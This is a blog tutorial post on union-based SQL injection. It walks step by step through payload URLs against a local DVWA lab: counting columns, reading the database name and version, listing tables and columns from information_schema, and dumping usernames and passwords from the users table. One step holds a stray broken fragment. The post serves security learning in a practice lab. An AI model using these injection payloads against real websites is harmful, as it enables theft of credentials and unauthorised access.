<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEhhIGp37fUqRR5-ojEVpBegr0i_PMAYkM4iKo1nKky2AIvp-yq-VY6q3aDWqmPTiMnRA33hPmg9jXmYKJoJD9YtDzw2uKoQ5a1405u7Vx7QGqOviZM1gDqvtLvPG47wDMSi2wwSqv38jqnB3eH6DPX8t3MHytuqI1yXKPaz-uk=" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="320" src="http://sqlity.net/wp-content/uploads/2014/08/SQL_Injection.jpg" width="320" /></a><br />
Union Based  Injection : Union based injection is an advance attack which targets the website's database unlike the front. Hand like bypass authentication method which we covered last time.<br />
The idea is to fetch the username and password of the website from admin,user or this kind of table from the database and use these credentials to login in the website.<br />
<br />
<b>We can do whole process on DVWA</b><br />
<h4 style="text-align: left;">
Steps Of  Union Base Injection</h4>
Step 1: Find any GET Method in the Website.<br />
<blockquote class="tr_bq">
GET : .php?id=10        POST : .php</blockquote>
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10&Submit=Submit#</blockquote>
Step 2: Check exception handling in the website.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10&Submit=Submit#</blockquote>
Step 3: Check total number of columns in the respective table.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=10' order by 1 --+Submit=Submit#</blockquote>
Step 4: Select a vulnerable column from the table.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,2--+ &Submit=Submit#</blockquote>
Step 5: Check the database name<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select database(),2--+ &Submit=Submit#</blockquote>
Step 6: Check the Version of the database.<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select version(),2--+ &Submit=Submit#</blockquote>
Step 7: Check the total number of tables in the database<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,table_name from information_schema.tables --+ &Submit=Submit#</blockquote>
Target Table : users<br />
<br />
Step 8 : Get the columns of the tabel users<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select 1,column_name from information_schema.columns--+ &Submit=Submit#</blockquote>
where table_name='users'--+ &Submit=Submit#<br />
<br />
Target Columns : user and password<br />
<br />
Step 9 : Get the content of the user and password<br />
<blockquote class="tr_bq">
http://127.0.0.1/dvwa/dvwa/vulnerabilities/sqli/?id=1' union all select user,password from users--+</blockquote>
</div>

Class Union Based Injection (100% Working)

Union Based Injection : Union based injection is an advance attack which targets the website's database unlike the front. Hand like b...

Fadu Hack

Top Ad unit 728 Ã— 90

MySQL SQL Injection Cheat Sheet

Error based injection With Double Query (Medium Level)

Class Union Based Injection (100% Working)

Buy a cup of coffee

Popular Posts

Labels

Blog Archive